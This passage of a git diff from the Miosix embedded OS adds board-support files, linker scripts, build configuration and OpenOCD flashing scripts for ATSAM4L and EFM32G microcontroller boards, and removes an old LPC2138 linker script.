return true; -} - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/miosix.ld b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/miosix.ld deleted file mode 100644 index a8dfede13..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/miosix.ld +++ /dev/null @@ -1,211 +0,0 @@ -/*****************************************************************************/ -/* C++ enabled linker script. V2.00 -- Designed for Miosix Embedded OS */ -/* */ -/* MEMORY MAP */ -/* | | */ -/* .-------->|--------------------------------|0x40008000 */ -/* . | 32Bytes reserved for flash |0x40007FFF */ -/* . | programming | */ -/* .-------->|--------------------------------|0x40007FE0 _stack_end */ -/* . | UNDEF Stack | */ -/* . |--------------------------------| */ -/* . | ABORT Stack | */ -/* . |--------------------------------| */ -/* . | FIQ Stack | */ -/* . |--------------------------------| */ -/* . | IRQ Stack | */ -/* . |--------------------------------| */ -/* ram | SVC Stack | */ -/* . |--------------------------------| _stack_start, _heap_end */ -/* . | | */ -/* . | heap | */ -/* . | | */ -/* . |--------------------------------| _bss_end, _end */ -/* . | .bss uninitialized variables | */ -/* . |--------------------------------| _bss_start, _edata */ -/* . | .data initialized variables | */ -/* .-------->|--------------------------------|0x40000000 _data */ -/* | | */ -/* . */ -/* . */ -/* . */ -/* | | */ -/* .--------> |--------------------------------|0x0007D000 */ -/* . | | */ -/* . | | */ -/* . | unused flash | */ -/* . | | */ -/* . | | */ -/* . |--------------------------------| */ -/* . | | */ -/* . | copy of .data area | */ -/* . | | */ -/* . |--------------------------------| _etext */ -/* . | | */ -/* flash | | */ -/* . | | */ -/* . | code | */ -/* . | | */ -/* . | | */ -/* . | | */ -/* . |--------------------------------| */ -/* . | Startup Code | */ -/* . | (assembler) | */ -/* . |--------------------------------|0x00000040 Reset_Handler */ -/* . | interrupt vectors | */ -/* .--------->|--------------------------------|0x00000000 _startup */ -/* */ -/* */ -/*****************************************************************************/ - -/* stack sizes, used by startup assembler code, can be modified if needed */ -_und_stack_size = 0x00000000; /* stack for "UND" is 0, (shared with "FIQ") */ -_abt_stack_size = 0x00000000; /* stack for "ABT" is 0, (shared with "FIQ") */ -_fiq_stack_size = 0x00000030; /* stack for "FIQ" 48 bytes */ -_irq_stack_size = 0x00000000; /* stack for "IRQ" is 0, (shared with "SVC") */ -_svc_stack_size = 0x00000200; /* stack for "SVC" 512 bytes */ -_sys_stack_size = 0x00000000; /* stack for "SYS" is 0, since this stack is only used at startup */ - -/* check stack sizes */ -ASSERT(_und_stack_size % 8 == 0, "UND stack size error"); -ASSERT(_abt_stack_size % 8 == 0, "ABT stack size error"); -ASSERT(_fiq_stack_size % 8 == 0, "FIQ stack size error"); -ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); -ASSERT(_svc_stack_size % 8 == 0, "SVC stack size error"); -ASSERT(_sys_stack_size % 8 == 0, "SYS stack size error"); - -/* end of the stack */ -_stack_end = 0x40007FE0; /* end of available ram */ - -/* calculate the stacks and the end of the heap, used to check heap overflow */ -_und_stack_top = _stack_end; -_abt_stack_top = _und_stack_top - _und_stack_size; -_fiq_stack_top = _abt_stack_top - _abt_stack_size; -_irq_stack_top = _fiq_stack_top - _fiq_stack_size; -_svc_stack_top = _irq_stack_top - _irq_stack_size; -_sys_stack_top = _svc_stack_top - _svc_stack_size; -_stack_start = _sys_stack_top - _sys_stack_size; -_heap_end = _stack_start; - -/* identify the Entry Point */ -ENTRY(_startup) - -/* specify the LPC2138 memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 500K /* 512K-12K bootloader */ - ram(wx) : ORIGIN = 0x40000000, LENGTH = 32736 /* free RAM area */ -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - /* Startup code must go a address 0 */ - .startup : - { - *stage_1_boot.o (.text) - } > flash - - /* .text section: code goes to flash */ - .text : - { - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(0x4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(0x4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/board/atsam4lc2aa_generic/CMakeLists.txt b/miosix/arch/board/atsam4lc2aa_generic/CMakeLists.txt new file mode 100644 index 000000000..ed37bc993 --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board atsam4lc2aa_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/atsam4l) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_ATSAM4LC2AA_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_ATSAM4LC2AA_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE openocd -f '${MIOSIX_BOARD_INC}/openocd.cfg' -c 'program 0x4000 reset' -c shutdown) diff --git a/miosix/arch/board/atsam4lc2aa_generic/Makefile.inc b/miosix/arch/board/atsam4lc2aa_generic/Makefile.inc new file mode 100644 index 000000000..7dfe374dd --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board atsam4lc2aa_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/atsam4l + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_ATSAM4LC2AA_GENERIC +BOARD_CXXFLAGS := -D_BOARD_ATSAM4LC2AA_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +## BUG: flashes ok but requires powercycle +PROG_BIN = $(if $(ROMFS_DIR),image.bin,main.bin) +PROG ?= openocd \ + -f '$(KPATH)/$(BOARD_INC)/openocd.cfg' \ + -c 'program $(PROG_BIN) 0x4000 reset' \ + -c shutdown diff --git a/miosix/arch/board/atsam4lc2aa_generic/flash.sh b/miosix/arch/board/atsam4lc2aa_generic/flash.sh new file mode 100755 index 000000000..2df6f724b --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/flash.sh @@ -0,0 +1,2 @@ +#!/bin/bash +echo -e "soft_reset_halt\nadapter speed 1000\nflash write_image erase main.bin 0x4000\nresume" | nc localhost 4444 -q 1 diff --git a/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..a9f97fbb4 --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,46 @@ +/*************************************************************************** + * Copyright (C) 2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +//The Atmel provided init code is empty anyway +#define DONT_USE_CMSIS_INIT + +//Miosix replacement that provides SystemCoreClock +#include "drivers/clock/atsam4l_clock.h" + +//This file in turn includes core_cm4.h +#include "CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h" + +//This register is mentioned in the document but a definition is not provided +#define PDBG (*((volatile unsigned int*)0xe0042000)) +#define PDBG_PEVC (1<<2) +#define PDBG_AST (1<<1) +#define PDBG_WDT (1<<0) + +//Atmel provides a constant with the number of peripheral interrupts, so use it +#define MIOSIX_NUM_PERIPHERAL_IRQ PERIPH_COUNT_IRQn diff --git a/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..c0fefac89 --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,94 @@ +/*************************************************************************** + * Copyright (C) 2015-2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include "interfaces/gpio.h" +#include "interfaces/delays.h" +#include "interfaces/arch_registers.h" +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/poweroff.h" +#include "miosix_settings.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" + +using namespace std; + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Configuring GPIO pins of USART2 to the proper alternate function + using rx = Gpio; + using tx = Gpio; + rx::alternateFunction('B'); + tx::alternateFunction('B'); + rx::mode(Mode::ALTERNATE_PULL_UP); + tx::mode(Mode::ALTERNATE); + + IRQsetDefaultConsole(intrusive_ref_ptr( + new ATSAMSerial(defaultSerial,defaultSerialSpeed))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + //Passing an empty device won't mount fat32, but will mount romfs and devfs + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + reboot(); //This board has no shutdown support, so we reboot on shutdown +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..c6f938360 --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,52 @@ +/*************************************************************************** + * Copyright (C) 2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +// using led_ = Gpio; +// inline void ledOn() { led_::high(); } +// inline void ledOff() { led_::low(); } +inline void ledOn() {} +inline void ledOff() {} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/atsam4lc2aa_generic/openocd.cfg b/miosix/arch/board/atsam4lc2aa_generic/openocd.cfg new file mode 100644 index 000000000..17003d06b --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/openocd.cfg @@ -0,0 +1,21 @@ +telnet_port 4444 +gdb_port 3333 + +source [find interface/cmsis-dap.cfg] + +# https://sourceforge.net/p/openocd/ticket/327 +cmsis_dap_backend hid + +set CHIPNAME ATSAM4LC2AA +set CPUTAPID 0x2ba01477 + +source [find target/at91sam4lXX.cfg] + +# NOTE: connect only GND, SWDIO, SWCLK. To program use the following commands: +# target remote :3333 +# monitor soft_reset_halt +# monitor flash write_image erase main.bin 0x4000 + +# DO NOT use monitor reset halt + +# NOTE: use "monitor adapter speed 1000" to increase SWD speed after boot diff --git a/miosix/arch/board/atsam4lc2aa_generic/processes.ld b/miosix/arch/board/atsam4lc2aa_generic/processes.ld new file mode 100644 index 000000000..26525b652 --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/processes.ld @@ -0,0 +1,18 @@ +/* + * Linker script for ATSAM4L + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 16K; + +MEMORY +{ + /* 16KB are reserved for the SAM-BA bootloader */ + flash(rx) : ORIGIN = 0x00004000, LENGTH = 112K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 32K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/atsam4lc2aa_generic/stop.sh b/miosix/arch/board/atsam4lc2aa_generic/stop.sh new file mode 100755 index 000000000..a8de269d8 --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/stop.sh @@ -0,0 +1,2 @@ +#!/bin/bash +echo -e "soft_reset_halt\n" | nc localhost 4444 -q 1 diff --git a/miosix/arch/board/atsam4lc2aa_generic/unikernel.ld b/miosix/arch/board/atsam4lc2aa_generic/unikernel.ld new file mode 100644 index 000000000..a119a9226 --- /dev/null +++ b/miosix/arch/board/atsam4lc2aa_generic/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for ATSAM4L + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + /* 16KB are reserved for the SAM-BA bootloader */ + flash(rx) : ORIGIN = 0x00004000, LENGTH = 112K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 32K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/efm32g222f128_generic/CMakeLists.txt b/miosix/arch/board/efm32g222f128_generic/CMakeLists.txt new file mode 100644 index 000000000..4aee45cd3 --- /dev/null +++ b/miosix/arch/board/efm32g222f128_generic/CMakeLists.txt @@ -0,0 +1,31 @@ +## +## CMakeLists.txt for board efm32g222f128_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/efm32g) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_EFM32G222F128_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_EFM32G222F128_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE echo 'make program not supported.') diff --git a/miosix/arch/board/efm32g222f128_generic/Makefile.inc b/miosix/arch/board/efm32g222f128_generic/Makefile.inc new file mode 100644 index 000000000..c5bcd21c6 --- /dev/null +++ b/miosix/arch/board/efm32g222f128_generic/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board efm32g222f128_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/efm32g + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_EFM32G222F128_GENERIC +BOARD_CXXFLAGS := -D_BOARD_EFM32G222F128_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= echo 'make program not supported.' diff --git a/miosix/arch/board/efm32g222f128_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/efm32g222f128_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..946ae96d0 --- /dev/null +++ b/miosix/arch/board/efm32g222f128_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,33 @@ +/*************************************************************************** + * Copyright (C) 2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g222f128.h" + +//Peripheral interrupt start from 0 and the last one is 29, so there are 30 +#define MIOSIX_NUM_PERIPHERAL_IRQ 30 diff --git a/miosix/arch/board/efm32g222f128_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/efm32g222f128_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..d1dad7651 --- /dev/null +++ b/miosix/arch/board/efm32g222f128_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,214 @@ +/*************************************************************************** + * Copyright (C) 2023 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" + +namespace miosix { + +//Replaced by constants in board_settings.h +// unsigned int getPeripheralClock() +// { +// unsigned int result=SystemCoreClock; +// //EFM32 has separate prescalers for core and peripherals, so we start +// //from HFCORECLK, work our way up to HFCLK and then down to HFPERCLK +// result*=1<<(CMU->HFCORECLKDIV & _CMU_HFCORECLKDIV_HFCORECLKDIV_MASK); +// result/=1<<(CMU->HFPERCLKDIV & _CMU_HFPERCLKDIV_HFPERCLKDIV_MASK); +// return result; +// } + +// +// Initialization +// + +/** + * This function is the first function called during boot to initialize the + * platform memory and clock subsystems. + * + * Code in this function has several important restrictions: + * - When this function is called, part of the memory address space may not be + * available. This occurs when the board includes an external memory, and + * indeed it is the purpose of this very function to enable the external + * memory (if present) and map it into the address space! + * - This function is called before global and static variables in .data/.bss + * are initialized. As a consequence, this function and all function it calls + * are forbidden from referencing global and static variables + * - This function is called with the stack pointer pointing to the interrupt + * stack. This is in general a small stack, but is the only stack that is + * guaranteed to be in the internal memory. The allocation of stack-local + * variables and the nesting of function calls should be kept to a minimum + * - This function is called with interrupts disabled, before the kernel is + * started and before the I/O subsystem is enabled. There is thus no way + * of printing any debug message. + * + * This function should perform the following operations: + * - Configure the internal memory wait states to support the desired target + * operating frequency + * - Configure the CPU clock (e.g: PLL) to run at the desired target frequency + * - Enable and configure the external memory (if available) + * + * As a postcondition of running this function, the entire memory map as + * specified in the linker script should be accessible, so the rest of the + * kernel can use the memory to complete the boot sequence, and the CPU clock + * should be configured at the desired target frequency so the boot can proceed + * quickly. + */ +void IRQmemoryAndClockInit() +{ + //Validate frequency + static_assert(cpuFrequency==oscillatorFrequency, "prescaling unsupported"); + static_assert(peripheralFrequency==oscillatorFrequency, "prescaling unsupported"); + static_assert(oscillatorType==OscillatorType::HFXO + || oscillatorFrequency==1200000 + || oscillatorFrequency==6600000 + || oscillatorFrequency==11000000 + || oscillatorFrequency==14000000 + || oscillatorFrequency==21000000 + || oscillatorFrequency==28000000, "HFRCO frequency unsupported"); + + //Configure flash wait states + if(cpuFrequency>16000000) MSC->READCTRL=MSC_READCTRL_MODE_WS1; + else MSC->READCTRL=MSC_READCTRL_MODE_WS0; + + //Configure prescalers + CMU->HFCORECLKDIV=0; + CMU->HFPERCLKDIV=CMU_HFPERCLKDIV_HFPERCLKEN; + //Configure oscillator + if(oscillatorType==OscillatorType::HFXO) + { + //Select HFXO + CMU->OSCENCMD=CMU_OSCENCMD_HFXOEN; + //Then switch immediately to HFXO + CMU->CMD=CMU_CMD_HFCLKSEL_HFXO; + //Disable HFRCO since we don't need it anymore + CMU->OSCENCMD=CMU_OSCENCMD_HFRCODIS; + } else { + //Pointer to table of HFRCO calibration values in device information page + unsigned char *diHfrcoCalib=reinterpret_cast(0x0fe081dc); + if(oscillatorFrequency==1200000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_1MHZ | diHfrcoCalib[0]; + else if(oscillatorFrequency==6600000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_7MHZ | diHfrcoCalib[1]; + else if(oscillatorFrequency==11000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_11MHZ | diHfrcoCalib[2]; + else if(oscillatorFrequency==14000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_14MHZ | diHfrcoCalib[3]; + else if(oscillatorFrequency==21000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_21MHZ | diHfrcoCalib[4]; + else if(oscillatorFrequency==28000000) + CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_28MHZ | diHfrcoCalib[5]; + } +} + +void IRQbspInit() +{ + MSC->CTRL=0; //Generate bus fault on access to unmapped areas + + // + // Setup GPIOs + // + CMU->HFPERCLKEN0 |= CMU_HFPERCLKEN0_GPIO; + + // + // Setup serial port + // + if(defaultSerial==0) + { + using tx = Gpio; + using rx = Gpio; + IRQsetDefaultConsole(intrusive_ref_ptr( + new EFM32Serial(defaultSerial,defaultSerialSpeed, + tx::getPin(),rx::getPin()))); + } else { + using tx = Gpio; + using rx = Gpio; + IRQsetDefaultConsole(intrusive_ref_ptr( + new EFM32Serial(defaultSerial,defaultSerialSpeed, + tx::getPin(),rx::getPin()))); + } +} + +void bspInit2() +{ +// #ifdef WITH_FILESYSTEM +// basicFilesystemSetup(); +// #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + +// //Serial port is causing some residual consumption +// USART0->CMD=USART_CMD_TXDIS | USART_CMD_RXDIS; +// USART0->ROUTE=0; +// debugConnector::tx::mode(Mode::DISABLED); +// debugConnector::rx::mode(Mode::DISABLED); +// +// //Sequence to enter EM4 +// for(int i=0;i<5;i++) +// { +// EMU->CTRL=2<<2; +// EMU->CTRL=3<<2; +// } +// //Should never reach here + IRQsystemReboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/efm32g222f128_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/efm32g222f128_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..c15a36df9 --- /dev/null +++ b/miosix/arch/board/efm32g222f128_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,35 @@ +/*************************************************************************** + * Copyright (C) 2023 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +inline void ledOn() {} +inline void ledOff() {} + +} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/wandstem-stlink.cfg b/miosix/arch/board/efm32g222f128_generic/openocd.cfg similarity index 100% rename from miosix/arch/cortexM3_efm32g/efm32g222f128_generic/wandstem-stlink.cfg rename to miosix/arch/board/efm32g222f128_generic/openocd.cfg diff --git a/miosix/arch/board/efm32g222f128_generic/unikernel.ld 